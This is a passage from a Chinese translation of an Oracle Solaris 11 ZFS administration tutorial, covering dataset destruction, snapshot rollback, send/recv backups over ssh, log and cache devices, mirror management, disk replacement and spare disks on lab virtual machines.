最后两个案例表明,必须按照正确的顺序销毁 ZFS 中的数据集。请执行以下命令:

root@solaris11-1:~# zfs list -r pool_1
NAME                USED  AVAIL  REFER  MOUNTPOINT
pool_1             63.2M  3.85G    33K  /pool_1
pool_1/clone_1       25K  3.85G  63.1M  /pool_1/clone_1
pool_1/fs_1        63.1M  3.85G  63.1M  /pool_1/fs_1
pool_1/fs_1@snap1      0      -  63.1M  -
root@solaris11-1:~# zfs destroy pool_1/clone_1
root@solaris11-1:~# zfs destroy pool_1/fs_1@snap1
root@solaris11-1:~# zfs destroy pool_1/fs_1
root@solaris11-1:~# zfs list -r pool_1 
NAME     USED  AVAIL  REFER  MOUNTPOINT
pool_1  98.5K  3.91G    31K  /pool_1

当按照正确的顺序执行时,您可以逐个销毁每个数据集,尽管正如我们之前提到的,实际上可以跳过某些步骤。接下来的步骤展示了如何做到这一点。请执行以下命令:

root@solaris11-1:~# zfs destroy -R pool_1/fs_1
root@solaris11-1:~# zfs list -r pool_1
NAME    USED  AVAIL  REFER  MOUNTPOINT
pool_1   91K  3.91G    31K  /pool_1
root@solaris11-1:~#

最后,我们使用了-R选项,一切都被销毁了——包括克隆、快照和文件系统。

本教程概述

我们学习了如何管理快照和克隆,包括如何创建、列出、区分和销毁它们。最后,这就结束了我们关于 ZFS 基础的复习。

在 ZFS 文件系统中执行备份

十年前,我从未考虑过学习如何使用任何备份软件,老实说,我不喜欢这类软件,因为我觉得它们太简单了。如今,我明白自己当时是多么错误。

管理和操作备份软件是 IT 中最基本的活动,它是抵御黑客攻击的最后防线。顺便说一下,黑客正在利用各种资源——恶意软件、木马、病毒、蠕虫和间谍软件来赢得这场战争,只有文件服务器和应用程序的备份才能挽救公司。

Oracle Solaris 11 提供了一种简单的解决方案,由两个命令(zfs sendzfs recv)组成,用于备份 ZFS 文件系统数据。在备份操作中,数据以流的形式生成,并通过网络(使用zfs send命令)发送到另一个 Oracle Solaris 11 系统,该系统接收该流(使用zfs recv)。

Oracle Solaris 11 能够生成两种类型的流:复制流,它包括文件系统及其所有依赖的数据集(快照和克隆);递归流,它包括文件系统和克隆,但不包括快照。默认的流类型是复制流。

本教程将向您展示如何执行备份和恢复操作。

准备工作

要跟随本教程,您需要两台运行 Oracle Solaris 11 的虚拟机(VMware 或 VirtualBox),每台虚拟机需要 4 GB 内存和 8 块 4 GB 的硬盘。教程中使用的系统名为solaris11-1solaris11-2

如何执行…

所有 ZFS 备份操作都基于快照。本过程将从头开始执行——创建池、文件系统和快照,然后执行备份。请执行以下命令:

root@solaris11-1:~# zpool create backuptest_pool c8t5d0
root@solaris11-1:~# zfs create backuptest_pool/zfs1
root@solaris11-1:~# cp /etc/[a-p]* /backuptest_pool/zfs1
root@solaris11-1:/# ls -l /backuptest_pool/zfs1/
total 399
-rw-r--r--   1 root     root        1436 Dec 13 03:30 aliases
-rw-r--r--   1 root     root         182 Dec 13 03:30 auto_home
-rw-r--r--   1 root     root         220 Dec 13 03:30 auto_master
-rw-r--r--   1 root     root        1931 Dec 13 03:30 dacf.conf
(truncated output)
root@solaris11-1:/# zfs list backuptest_pool/zfs1 
NAME                  USED  AVAIL  REFER  MOUNTPOINT
backuptest_pool/zfs1  214K  3.91G   214K  /backuptest_pool/zfs1
root@solaris11-1:/# zfs snapshot backuptest_pool/zfs1@backup1
root@solaris11-1:/# zpool listsnapshots=on backuptest_pool 
root@solaris11-1:/# zfs list -r backuptest_pool
NAME                          USED  AVAIL  REFER  MOUNTPOINT
backuptest_pool               312K  3.91G    32K  /backuptest_pool
backuptest_pool/zfs1          214K  3.91G   214K  /backuptest_pool/zfs1
backuptest_pool/zfs1@backup1     0      -   214K  -

以下命令会从 backuptest_pool/zfs1 文件系统中删除一些文件:

root@solaris11-1:/# cd /backuptest_pool/zfs1/
root@solaris11-1:/backuptest_pool/zfs1# rm [a-k]*
root@solaris11-1:/backuptest_pool/zfs1# ls -l
total 125
-rw-r--r--   1 root     root        2986 Dec 13 03:30 name_to_major
-rw-r--r--   1 root     root        3090 Dec 13 03:30 name_to_sysnum
-rw-r--r--   1 root     root        7846 Dec 13 03:30 nanorc
-rw-r--r--   1 root     root        1321 Dec 13 03:30 netconfig
-rw-r--r--   1 root     root         487 Dec 13 03:30 netmasks
-rw-r--r--   1 root     root         462 Dec 13 03:30 networks
-rw-r--r--   1 root     root        1065 Dec 13 03:30 nfssec.conf
……….
(truncated output)

我们遗漏了一个关于快照的非常有趣的事实——当文件从文件系统中删除时,它并不会永远消失。每个文件系统中都有一个名为 .zfs 的隐藏目录;它包含快照,所有删除的文件都会进入这个隐藏目录下的一个子目录。我们来看以下命令:

root@solaris11-1:~# cd /backuptest_pool/zfs1/.zfs
root@solaris11-1:/backuptest_pool/zfs1/.zfs# ls
shares    snapshot
root@solaris11-1:/backuptest_pool/zfs1/.zfs# cd snapshot/
root@solaris11-1:/backuptest_pool/zfs1/.zfs/snapshot# ls
backup1
root@solaris11-1:/backuptest_pool/zfs1/.zfs/snapshot# cd backup1/
root@solaris11-1:/backuptest_pool/zfs1/.zfs/snapshot/backup1# ls -l
total 399
-rw-r--r--   1 root     root        1436 Dec 13 03:30 aliases
-rw-r--r--   1 root     root         182 Dec 13 03:30 auto_home
-rw-r--r--   1 root     root         220 Dec 13 03:30 auto_master
-rw-r--r--   1 root     root        1931 Dec 13 03:30 dacf.conf
-r--r--r--   1 root     root         516 Dec 13 03:30 datemsk
-rw-r--r--   1 root     root        2670 Dec 13 03:30 devlink.tab
-rw-r--r--   1 root     root       38237 Dec 13 03:30 driver_aliases
………
(truncated output)

root@solaris11-1:/backuptest_pool/zfs1/.zfs/snapshot/backup1# cd

利用关于已删除文件定位的信息,任何文件都可以恢复,更好的是,可以将文件系统恢复到快照拍摄时的内容。这个操作被称为 rollback,可以通过以下命令执行:

root@solaris11-1:~# zfs rollback backuptest_pool/zfs1@backup1
root@solaris11-1:~# cd /backuptest_pool/zfs1/
root@solaris11-1:/backuptest_pool/zfs1# ls -l    
total 399
-rw-r--r--   1 root     root        1436 Dec 13 03:30 aliases
-rw-r--r--   1 root     root         182 Dec 13 03:30 auto_home
-rw-r--r--   1 root     root         220 Dec 13 03:30 auto_master
-rw-r--r--   1 root     root        1931 Dec 13 03:30 dacf.conf
-r--r--r--   1 root     root         516
 Dec 13 03:30 datemsk
-rw-r--r--   1 root     root        2670 Dec 13 03:30 devlink.tab
-rw-r--r--   1 root     root       38237 Dec 13 03:30 driver_aliases
(truncated output)

每个文件都被恢复到文件系统中,仿佛什么都没有发生。

进一步来看,让我们看看如何将文件系统数据备份到运行 Oracle Solaris 11 的另一台系统。第一步是连接到另一台系统(solaris 11-2),并通过运行以下命令创建并准备一个池,用于接收来自 solaris11-1 源系统的备份流:

root@solaris11-1:~# ssh solaris11-2
Password: 
Last login: Fri Dec 13 04:29:41 2013
Oracle Corporation      SunOS 5.11      11.1    September 2012
root@solaris11-2:~# zpool create away_backup c8t3d0
root@solaris11-2:~# zpool set readonly=on away_backup
root@solaris11-2:~# zfs list away_backup
NAME         USED  AVAIL  REFER  MOUNTPOINT
away_backup   85K  3.91G    31K  /away_backup

我们启用了 away_poolreadonly 属性。为什么?因为我们必须在从另一台主机接收数据时保持元数据的一致性,之后也需要这样做。

继续这个过程,下一步是从 solaris11-1 源机器执行远程备份,将所有文件系统数据发送到 solaris11-2 目标机器:

root@solaris11-1:~# zfs send backuptest_pool/zfs1@backup1 | ssh solaris11-2 zfs recv -F away_backup/saved_backup
Password:

我们使用了 ssh 命令通过安全通道发送所有数据,但如果安全性不是要求,我们本可以使用 netcat 命令(它包含在 Oracle Solaris 中,更多信息可以在 netcat.sourceforge.net/ 上找到)。

你可以通过执行以下命令来验证目标机器上所有数据是否存在:

root@solaris11-2:~# zfs list -r away_backup
NAME                      USED  AVAIL  REFER  MOUNTPOINT
away_backup               311K  3.91G    32K  /away_backup
away_backup/saved_backup  214K  3.91G   214K  /away_backup/saved_backup
root@solaris11-2:~# ls -l /away_backup/saved_backup/
total 399
-rw-r--r--   1 root     root        1436 Dec 13 03:30 aliases
-rw-r--r--   1 root     root         182 Dec 13 03:30 auto_home
-rw-r--r--   1 root     root         220 Dec 13 03:30 auto_master
-rw-r--r--   1 root     root        1931 Dec 13 03:30 dacf.conf
-r--r--r--   1 root     root         516 Dec 13 03:30 datemsk
-rw-r--r--   1 root     root        2670 Dec 13 03:30 devlink.tab
-rw-r--r--   1 root     root       38237 Dec 13 03:30 driver_aliases
-rw-r--r--   1 root     root         557 Dec 13 03:30 driver_classes
-rwxr--r--   1 root     root        1661 Dec 13 03:30 dscfg_format
……..
(truncated output)

根据这个输出,使用 zfs sendzfs recv 命令的远程备份工作如预期般顺利。恢复操作类似,因此我们也可以通过运行以下命令销毁 backuptest_pool/zfs1 文件系统中的所有文件以及它的快照,这样就能在第一台系统(solaris11-1)中实现:

root@solaris11-1:~# cd /backuptest_pool/zfs1/
root@solaris11-1:/backuptest_pool/zfs1# rm *
root@solaris11-1:/backuptest_pool/zfs1# cd
root@solaris11-1:~# zfs destroy backuptest_pool/zfs1@backup1
root@solaris11-1:~# zfs list -r backuptest_pool/zfs1
NAME                  USED  AVAIL  REFER  MOUNTPOINT
backuptest_pool/zfs1   31K  3.91G    31K  /backuptest_pool/zfs1
root@solaris11-1:~# 

从第二台机器(solaris11-2),可以通过运行以下命令执行恢复过程:

root@solaris11-2:~# zpool set listsnapshots=on away_backup
root@solaris11-2:~# zfs list -r away_backup
NAME                              USED  AVAIL  REFER  MOUNTPOINT
away_backup                       312K  3.91G    32K  /away_backup
away_backup/saved_backup          214K  3.91G   214K  /away_backup/saved_backup
away_backup/saved_backup@backup1     0      -   214K  -

恢复操作类似于我们在备份过程中所做的,但我们必须改变命令的方向,solaris11-1 系统是目标,而 solaris11-2 是源系统:

root@solaris11-2:~# zfs send -Rv away_backup/saved_backup@backup1 | ssh solaris11-1 zfs recv -F backuptest_pool/zfs1
sending from @ to away_backup/saved_backup@backup1
Password:
root@solaris11-2:~#

你可以看到我们使用了 ssh 命令来在系统之间进行安全传输。再次强调,我们也可以使用其他工具,比如 netcat,方法是一样的。

返回到 solaris11-1 系统,运行以下命令验证所有数据是否已恢复:

root@solaris11-1:~# zfs list -r backuptest_pool/zfs1
NAME                          USED  AVAIL  REFER  MOUNTPOINT
backuptest_pool/zfs1          214K  3.91G   214K  /backuptest_pool/zfs1
backuptest_pool/zfs1@backup1     0      -   214K  -
root@solaris11-1:~# cd /backuptest_pool/zfs1/
root@solaris11-1:/backuptest_pool/zfs1# ls -al
total 407
drwxr-xr-x   2 root     root          64 Dec 13 03:30 .
drwxr-xr-x   3 root     root           3 Dec 13 05:12 ..
-rw-r--r--   1 root     root        1436 Dec 13 03:30 aliases
-rw-r--r--   1 root     root         182 Dec 13 03:30 auto_home
-rw-r--r--   1 root     root         220 Dec 13 03:30 auto_master
-rw-r--r--   1 root     root        1931 Dec 13 03:30 dacf.conf
………
(truncated output)

ZFS 真是太棒了。备份和恢复操作执行起来很简单,一切都顺利进行。删除的文件已经恢复。

操作步骤概览

在 ZFS 中,恢复和备份操作是通过两个命令完成的:zfs sendzfs recv。这两个操作都基于快照,并且可以将数据保存在同一台机器或另一台机器上。在解释过程中,我们还学习了快照回滚的过程。

处理日志和缓存

ZFS 拥有一些非常有趣的内部结构,可以极大地提高池和文件系统的性能。其中之一是 ZFS 意图日志 (ZIL),它的创建旨在提升更密集和顺序的写入请求性能,从而实现更多的 每秒输入/输出操作数 (IOPS),并将任何事务记录保存在内存中,直到事务组(称为 TXG)被刷新到磁盘或接收到请求。当使用 ZIL 时,所有的写入操作都会先写入 ZIL,然后再提交到文件系统,帮助防止数据丢失。

通常,ZIL 空间是从主存储池中分配的,但这可能会导致数据碎片化。Oracle Solaris 11 允许我们决定 ZIL 存放的位置。大多数实现将 ZIL 放在专用磁盘上,或者更好的是,使用 SSD 磁盘或闪存设备配置镜像存储,特别指出 ZIL 的日志设备不应与数据库日志文件的磁盘混淆。通常,ZIL 设备日志的大小不会超过 RAM 大小的一半,但在确定其大小时,必须考虑其他方面,以提供一致的指南。

另一种非常流行的 ZFS 结构是 自适应替换缓存 (ARC),它会增加并占用几乎所有的空闲内存(RAM 减去 1 GB),但不会将应用程序数据推出内存。ARC 的一个非常积极的方面是,它大大提高了读取性能,因为如果数据可以在内存(ARC)中找到,就无需从磁盘读取任何信息。

除了 ARC,还有另一种类型的缓存,称为 L2ARC,它类似于主内存和磁盘之间的二级缓存。L2ARC 补充了 ARC,使用 SSD 磁盘非常适合这种类型的缓存,因为其中一个高效的场景是将 L2ARC 部署为随机读加速器。这里有一个非常重要的事实需要记住——L2ARC 以异步方式将数据写入缓存设备(SSD 磁盘),因此不建议将 L2ARC 用于密集(顺序)写入操作。

准备工作

这个方案将使用一台虚拟机(来自 VirtualBox 或 VMware),配置 4 GB 内存、已安装的 Oracle Solaris 11 和至少八个 4 GB 的磁盘。

如何操作…

配置池中的日志对象有两种方法——要么在创建池时同时配置日志设备,要么在池创建后添加日志设备。后一种方法使用得更为频繁,因此以下步骤采用这种方法:

root@solaris11-1:~# zpool create raid1_pool mirror c8t3d0 c8t4d0

在下一个命令中,我们将以镜像模式添加一个日志,这是非常合适的,可以防止单点故障。因此,执行以下命令:

root@solaris11-1:~# zpool add raid1_pool log mirror c8t5d0 c8t6d0
root@solaris11-1:~# zpool status raid1_pool
  pool: raid1_pool
 state: ONLINE
  scan: none requested
config:

  NAME        STATE     READ WRITE CKSUM
  raid1_pool  ONLINE       0     0     0
    mirror-0  ONLINE       0     0     0
      c8t3d0  ONLINE       0     0     0
      c8t4d0  ONLINE       0     0     0
  logs
    mirror-1  ONLINE       0     0     0
      c8t5d0  ONLINE       0     0     0
      c8t6d0  ONLINE       0     0     0

errors: No known data errors

完美!镜像日志已按预期添加。接下来很有必要解释一下zpool status中的mirror-0mirror-1对象。这两个对象是虚拟设备。当创建池时,所选的磁盘会在一个名为虚拟设备(vdev)的结构下进行组织,然后,这个vdev对象会被呈现给池。粗略地说,池由虚拟设备组成,而每个虚拟设备则由磁盘、分区、文件或其他软件或存储呈现的任何卷组成。虚拟设备在创建stripemirrorraidz池时生成。此外,在将日志和缓存插入池时,它们也会被创建。

如果需要移除磁盘日志,请执行以下命令:

root@solaris11-1:~# zpool detach raid1_pool c8t6d0
root@solaris11-1:~# zpool status raid1_pool
  pool: raid1_pool
 state: ONLINE
  scan: none requested
config:

    NAME        STATE     READ WRITE CKSUM
  raid1_pool    ONLINE       0     0     0
      mirror-0  ONLINE       0     0     0
        c8t3d0  ONLINE       0     0     0
        c8t4d0  ONLINE       0     0     0
    logs
      c8t5d0    ONLINE       0     0     0

errors: No known data errors

可以通过指定mirror-1(虚拟设备)来一次性移除两个日志磁盘,这代表了日志:

root@solaris11-1:~# zpool remove raid1_pool mirror-1
root@solaris11-1:~# zpool status raid1_pool
  pool: raid1_pool
 state: ONLINE
  scan: none requested
config:

    NAME        STATE     READ WRITE CKSUM
  raid1_pool    ONLINE       0     0     0
      mirror-0  ONLINE       0     0     0
        c8t3d0  ONLINE       0     0     0
        c8t4d0  ONLINE       0     0     0

errors: No known data errors
root@solaris11-1:~#

正如我们在本过程开始时所解释的,通常是在创建池后添加日志,但也可以通过执行以下命令,在创建池的同时将日志设备包含在内,这样做既简单又便捷:

root@solaris11-1:~# zpool create mir_pool mirror c8t3d0 c8t4d0 log mirror c8t5d0 c8t6d0
root@solaris11-1:~# zpool status mir_pool
  pool: mir_pool
 state: ONLINE
  scan: none requested
config:

  NAME        STATE     READ WRITE CKSUM
  mir_pool    ONLINE       0     0     0
    mirror-0  ONLINE       0     0     0
      c8t3d0  ONLINE       0     0     0
      c8t4d0  ONLINE       0     0     0
  logs
    mirror-1  ONLINE       0     0     0
      c8t5d0  ONLINE       0     0     0
      c8t6d0  ONLINE       0     0     0

errors: No known data errors
root@solaris11-1:~#

根据食谱开头对 L2ARC 缓存的解释,还可以通过运行以下命令,使用类似于添加日志对象的语法将缓存对象(L2ARC)添加到 ZFS 池中:

root@solaris11-1:~# zpool create mircache_pool mirror c8t3d0 c8t4d0 cache c8t5d0 c8t6d0
root@solaris11-1:~# zpool status mircache_pool
  pool: mircache_pool
 state: ONLINE
  scan: none requested
config:

  NAME           STATE     READ WRITE CKSUM
  mircache_pool  ONLINE       0     0     0
       mirror-0  ONLINE       0     0     0
         c8t3d0  ONLINE       0     0     0
         c8t4d0  ONLINE       0     0     0
  cache
       c8t5d0    ONLINE       0     0     0
       c8t6d0    ONLINE       0     0     0
errors: No known data errors

类似地,像日志设备一样,可以通过一步操作创建一个包含缓存设备的池:

root@solaris11-1:~# zpool create mircache_pool mirror c8t3d0 c8t4d0 cache c8t5d0 c8t6d0
root@solaris11-1:~# zpool status mircache_pool
  pool: mircache_pool
 state: ONLINE
  scan: none requested
config:

     NAME        STATE     READ WRITE CKSUM
  mircache_pool  ONLINE       0     0     0
       mirror-0  ONLINE       0     0     0
         c8t3d0  ONLINE       0     0     0
         c8t4d0  ONLINE       0     0     0
  cache
       c8t5d0    ONLINE       0     0     0
       c8t6d0    ONLINE       0     0     0

errors: No known data errors

它如预期般工作!然而,需要注意的是,缓存对象不能像添加日志设备时那样进行镜像,也不能成为 RAID-Z 配置的一部分。

从池中移除缓存设备的操作是通过执行以下命令完成的:

root@solaris11-1:~# zpool remove mircache_pool c8t5d0

最后一个重要的警告——每次将cache对象添加到池中时,请等到数据进入缓存(预热阶段)。这通常需要大约 2 小时。

食谱概述

ARC、L2ARC 和 ZIL 是 ZFS 管理中常见的结构,我们已经学会了如何创建和移除 ZFS 池中的日志和缓存。关于这些对象的性能和调优方面,有很多有趣的程序和建议,但这超出了本书的范围。

管理存储池中的设备

操作和管理设备是使用 ZFS 存储池时常见的任务,更多的维护活动包括添加、删除、附加和分离磁盘。根据 Oracle 的说法,ZFS 支持 raid0(stripe)、raid1(mirror)、raidz(类似于 raid5,带有一个校验磁盘)、raidz2(类似于 raid6,但使用两个校验磁盘)和 raidz3(三个校验磁盘),此外,还可以有像 raid 0+1 或 raid 1+0 这样的组合。

准备就绪

这个例子将使用一台虚拟机(来自 VirtualBox 或 VMware),配备 4 GB 内存,运行 Oracle Solaris 11 安装,并至少有八个 4 GB 磁盘。

如何操作…

根据之前的示例,镜像池的结构是 pool | vdev | disks,接下来的命令对我们来说应该并不陌生:

root@solaris11-1:~# zpool create mir_pool2 mirror c8t3d0 c8t4d0
root@solaris11-1:~# zpool status mir_pool2
  pool: mir_pool2
 state: ONLINE
  scan: none requested
config:

  NAME        STATE     READ WRITE CKSUM
  mir_pool2   ONLINE       0     0     0
    mirror-0  ONLINE       0     0     0
      c8t3d0  ONLINE       0     0     0
      c8t4d0  ONLINE       0     0     0

errors: No known data errors

最终,在一个关键环境中,可能需要增加池的大小,因为有些方法可以实现这一点。然而,并非所有方法都是正确的,因为此过程必须小心操作,以保持冗余性。例如,以下命令由于只添加了一个磁盘,导致增加冗余失败,在这种情况下,我们将会有两个 vdev,第一个是 vdevmirror-0)包含两个串联的磁盘,第二个 vdev 则没有冗余性。如果第二个 vdev 失败,整个池将会丢失。当我们尝试这种错误配置时,Oracle Solaris 会提醒我们问题所在:

root@solaris11-1:~# zpool add mir_pool2 c8t5d0
vdev verification failed: use -f to override the following errors:
mismatched replication level: pool uses mirror and new vdev is disk
Unable to build pool from specified devices: invalid vdev configuration

如果我们希望即使在收到此通知的情况下继续操作,只需添加 -f 选项,但不推荐这样做。

第二个示例与第一个非常相似,只是我们尝试添加了两个磁盘,而不是一个:

root@solaris11-1:~# zpool add mir_pool2 c8t5d0 c8t6d0
vdev verification failed: use -f to override the following errors:
mismatched replication level: pool uses mirror and new vdev is disk
Unable to build pool from specified devices: invalid vdev configuration

同样,由于我们添加了两个磁盘,但没有将它们镜像,因此错误依然存在。在这种情况下,解释是相同的,如果我们继续操作,将会有单点故障。

因此,扩展池并保持容错能力的正确方法是执行以下命令:

root@solaris11-1:~# zpool add mir_pool2 mirror c8t5d0 c8t6d0
root@solaris11-1:~# zpool status mir_pool2
  pool: mir_pool2
 state: ONLINE
  scan: none requested
config:

     NAME        STATE     READ WRITE CKSUM
    mir_pool2   ONLINE       0     0     0
      mirror-0  ONLINE       0     0     0
        c8t3d0  ONLINE       0     0     0
        c8t4d0  ONLINE       0     0     0
      mirror-1  ONLINE       0     0     0
        c8t5d0  ONLINE       0     0     0
        c8t6d0  ONLINE       0     0     0

errors: No known data errors

成功了!最终的配置类似于 RAID 1+0,其中有两个镜像 vdev,所有数据都分布在它们之间。在这种情况下,如果池中任何 vdev 出现故障,数据仍然得以保存。此外,池中有两个 vdev:mirror-0mirror-1。如果我们希望从镜像中移除一个磁盘,可以通过执行以下命令来完成:

root@solaris11-1:~# zpool detach mir_pool3 c8t6d0

如果计划是删除整个镜像(vdev),可以执行以下命令:

root@solaris11-1:~# zpool remove mir_pool3 mirror-1

所有删除操作已成功完成。

一个包含两个磁盘的镜像池是完全可以的,而且这种配置非常常见,但有些公司要求使用更具韧性的配置,比如三个磁盘。为了使用更实际的案例,我们来创建一个包含两个磁盘的镜像池,在其中创建一个文件系统,将一些随机数据复制到该文件系统中(读者可以选择任何数据),最后添加第三个磁盘。执行以下命令:

root@solaris11-1:~# zpool create mir_pool3  mirror c8t8d0 c8t9d0
root@solaris11-1:~# zfs create mir_pool3/zfs1
root@solaris11-1:~# cp -r mhvtl-* DTraceToolkit-0.99* dtbook_scripts* john* /mir_pool3/zfs1/

同样,在之前的命令中,我们可以复制任何数据。最后,执行我们任务的命令如下:

root@solaris11-1:~# zpool attach mir_pool3 c8t9d0 c8t10d0

在之前的命令中,我们将一个新磁盘(c8t10d0)附加到镜像池,并指定当前数据的复制来源(c8t9d0)。重新同步(resilvering)后,池的组织结构如下:

root@solaris11-1:~# zpool status mir_pool3
  pool: mir_pool3
 state: ONLINE
  scan: resilvered 70.7M in 0h0m with 0 errors on Sat Dec 14 02:49:08 2013
config:

    NAME         STATE     READ WRITE CKSUM
   mir_pool3    ONLINE       0     0     0
     mirror-0   ONLINE       0     0     0
       c8t8d0   ONLINE       0     0     0
       c8t9d0   ONLINE       0     0     0
       c8t10d0  ONLINE       0     0     0

errors: No known data errors

现在,mir_pool3 池已经是一个三路镜像池,所有数据已经重新同步(resilvered)。

一些维护程序要求我们禁用磁盘,以防止对该设备进行任何读取或写入操作。因此,当该磁盘进入offline状态时,即使重启后,它仍将保持offline状态。考虑到我们现有的三路镜像池,最后一个设备可以被设置为offline

root@solaris11-1:~# zpool offline mir_pool3 c8t10d0
root@solaris11-1:~# zpool status mir_pool3
  pool: mir_pool3
 state: DEGRADED
status: One or more devices has been taken offline by the administrator.
  Sufficient replicas exist for the pool to continue functioning in a
  degraded state.
action: Online the device using 'zpool online' or replace the device with 'zpool replace'.
  scan: resilvered 70.7M in 0h0m with 0 errors on Sat Dec 14 02:49:08 2013
config:

   NAME         STATE     READ WRITE CKSUM
  mir_pool3    DEGRADED     0     0     0
    mirror-0   DEGRADED     0     0     0
      c8t8d0   ONLINE       0     0     0
      c8t9d0   ONLINE       0     0     0
      c8t10d0  OFFLINE      0     0     0

errors: No known data errors

有一些有趣的发现——c8t10d0磁盘处于OFFLINE状态,vdevmirror-0)处于DEGRADED状态,而mir_pool3池也处于DEGRADED状态。

将磁盘状态更改为ONLINE的操作非常简单,而且在池正在进行恢复操作时,它的状态将为DEGRADED

root@solaris11-1:~# zpool online mir_pool3 c8t10d0
warning: device 'c8t10d0' onlined, but remains in degraded state
root@solaris11-1:~# zpool status mir_pool3
  pool: mir_pool3
 state: ONLINE
  scan: resilvered 18K in 0h0m with 0 errors on Sat Dec 14 04:50:03 2013
config:
(truncated output)

管理池时最有用和最有趣的任务之一就是磁盘替换,这只在使用以下配置之一的池中发生:raid1raidzraidz2raid3。为什么?因为磁盘替换不会影响数据可用性,只有这些配置能够确保这一前提。

存在两种替换方式:

  • 用另一个设备替换同一槽位中的故障设备

  • 用来自其他槽位的设备替换故障设备

两种方法都非常直接且易于执行。例如,在这个示例中,我们使用 VirtualBox,并且为了模拟第一种情况,我们将关闭 Oracle Solaris 11(solaris11-1),移除要替换的磁盘(c8t10d0),在相同的槽位中创建一个新的磁盘,然后再次启动虚拟机(solaris11-1)。

在执行所有这些步骤之前,我们将复制更多的数据(这里可以是任何你选择的数据)到mir_pool3池中的zfs1文件系统:

root@solaris11-1:~# cp -r /root/SFHA601/ /mir_pool3/zfs1/
root@solaris11-1:~# zpool list mir_pool3
NAME        SIZE  ALLOC   FREE  CAP  DEDUP  HEALTH  ALTROOT
mir_pool3  3.97G  2.09G  1.88G  52%  1.00x  ONLINE  -
root@solaris11-1:~# shutdown –y –g0

在 VirtualBox 管理器中,点击虚拟机solaris11-1,进入设置,然后进入存储。在这里,移除槽位 10 中的磁盘,并在同一位置(槽位 10)创建另一个磁盘。物理更换完成后,再次启动虚拟机(solaris11-1)。登录后,打开终端并执行以下命令:

root@solaris11-1:~# zpool status mir_pool3
  pool: mir_pool3
 state: DEGRADED
status: One or more devices are unavailable in response to persistent errors.
  Sufficient replicas exist for the pool to continue functioning in a
  degraded state.
action: Determine if the device needs to be replaced, and clear the errors
  using 'zpool clear' or 'fmadm repaired', or replace the device
  with 'zpool replace'.
  Run 'zpool status -v' to see device specific details.
  scan: resilvered 18K in 0h0m with 0 errors on Sat Dec 14 04:50:03 2013
config:

   NAME         STATE     READ WRITE CKSUM
   mir_pool3    DEGRADED     0     0     0
     mirror-0   DEGRADED     0     0     0
       c8t8d0   ONLINE       0     0     0
       c8t9d0   ONLINE       0     0     0
       c8t10d0  UNAVAIL      0     0     0

errors: No known data errors
root@solaris11-1:~#

由于c8t10d0设备被更换为新设备,zpool status mir_pool3命令显示它不可用(UNAVAIL)。这是预期的状态。根据前面的解释,目的是将故障磁盘替换为同一槽位中的另一个磁盘。执行以下命令:

root@solaris11-1:~# zpool replace mir_pool3 c8t10d0
root@solaris11-1:~# zpool status mir_pool3 
  pool: mir_pool3
 state: DEGRADED
status: One or more devices is currently being resilvered.  The pool will
  scan: resilver in progress since Sat Dec 14 05:56:15 2013
    139M scanned out of 2.09G at 3.98M/s, 0h8m to go
    136M resilvered, 6.51% done
config:

   NAME               STATE     READ WRITE CKSUM
   mir_pool3          DEGRADED     0     0     0
     mirror-0         DEGRADED     0     0     0
       c8t8d0         ONLINE       0     0     0
       c8t9d0         ONLINE       0     0     0
       replacing-2    DEGRADED     0     0     0
         c8t10d0/old  UNAVAIL      0     0     0
         c8t10d0      DEGRADED     0     0     0  (resilvering)

errors: No known data errors
root@solaris11-1:~#

c8t10d0磁盘已被替换,并正在进行重同步操作。现在,我们需要等待重同步完成。

如果我们是对来自另一个槽位的磁盘进行替换,过程会更简单。例如,在以下步骤中,我们将c8t9d0磁盘替换为c8t3d0,执行以下步骤:

root@solaris11-1:~# zpool replace mir_pool3 c8t9d0 c8t3d0
root@solaris11-1:~# zpool status mir_pool3
  pool: mir_pool3
 state: DEGRADED
status: One or more devices is currently being resilvered.  The pool will
  continue to function in a degraded state.
    576M scanned out of 2.09G at 4.36M/s, 0h5m to go
    572M resilvered, 26.92% done
config:

   NAME             STATE     READ WRITE CKSUM
   mir_pool3        DEGRADED     0     0     0
     mirror-0       DEGRADED     0     0     0
       c8t8d0       ONLINE       0     0     0
       replacing-1  DEGRADED     0     0     0
         c8t9d0     ONLINE       0     0     0
         c8t3d0     DEGRADED     0     0     0  (resilvering)
       c8t10d0      ONLINE       0     0     0

同样,在重同步过程完成后,一切将恢复正常。

操作概述

管理磁盘是使用 ZFS 时最重要的任务。在本节中,我们学习了如何添加、移除、附加、分离和更换磁盘。所有这些过程在日常操作中会耗费大量时间。

配置备用磁盘

在大型公司环境中,有一百块磁盘 24/7 工作,实际上,无法预测什么时候磁盘会故障。想象一下,白天大量磁盘故障,替换操作将花费多长时间。这个场景有助于展示备用磁盘的重要性。在系统中为池部署备用磁盘时,如果某个磁盘发生故障,备用磁盘会自动替代它,数据的可用性不会受到影响。

在 ZFS 框架中,备用磁盘是按存储池配置的,经过适当配置后,即使某个磁盘发生故障,也不需要任何操作。ZFS 会自动完成整个替换过程。

准备工作

此操作需要一个运行 Oracle Solaris 11、4 GB 内存并且至少有八块 4 GB 磁盘的虚拟机(VirtualBox 或 VMware)。

如何操作…

使用备用磁盘的真实场景是有一个镜像池,因此,为了模拟这个场景,我们执行以下命令:

root@solaris11-1:~# zpool create mir_pool4 mirror c8t3d0 c8t4d0

在此池中添加备用磁盘通过执行以下命令完成:

root@solaris11-1:~# zpool add mir_pool4 spare c8t5d0 c8t6d0
root@solaris11-1:~# zpool status mir_pool4
  pool: mir_pool4
 state: ONLINE
  scan: none requested
config:

   NAME        STATE     READ WRITE CKSUM
   mir_pool4   ONLINE       0     0     0
     mirror-0  ONLINE       0     0     0
       c8t3d0  ONLINE       0     0     0
       c8t4d0  ONLINE       0     0     0
   spares
     c8t5d0    AVAIL   
     c8t6d0    AVAIL   

如前所述,备用磁盘只有在磁盘出现故障时才会使用。为了使用备用磁盘测试环境,一个好的做法是关闭 Oracle Solaris 11(shutdown –y –g0),从虚拟机配置中移除 c8t3d0 磁盘(SCSI 插槽 3),然后重新启动虚拟机。Oracle Solaris 11 展示的 mir_pool4 状态如下:

root@solaris11-1:~# zpool status mir_pool4
  pool: mir_pool4
 state: DEGRADED
status: One or more devices are unavailable in response to persistent errors.
  Sufficient replicas exist for the pool to continue functioning in a
  degraded state.
action: Determine if the device needs to be replaced, and clear the errors
  using 'zpool clear' or 'fmadm repaired', or replace the device
  with 'zpool replace'.
  Run 'zpool status -v' to see device specific details.
  scan: resilvered 94K in 0h0m with 0 errors on Sat Dec 14 18:00:26 2013
config:

   NAME          STATE     READ WRITE CKSUM
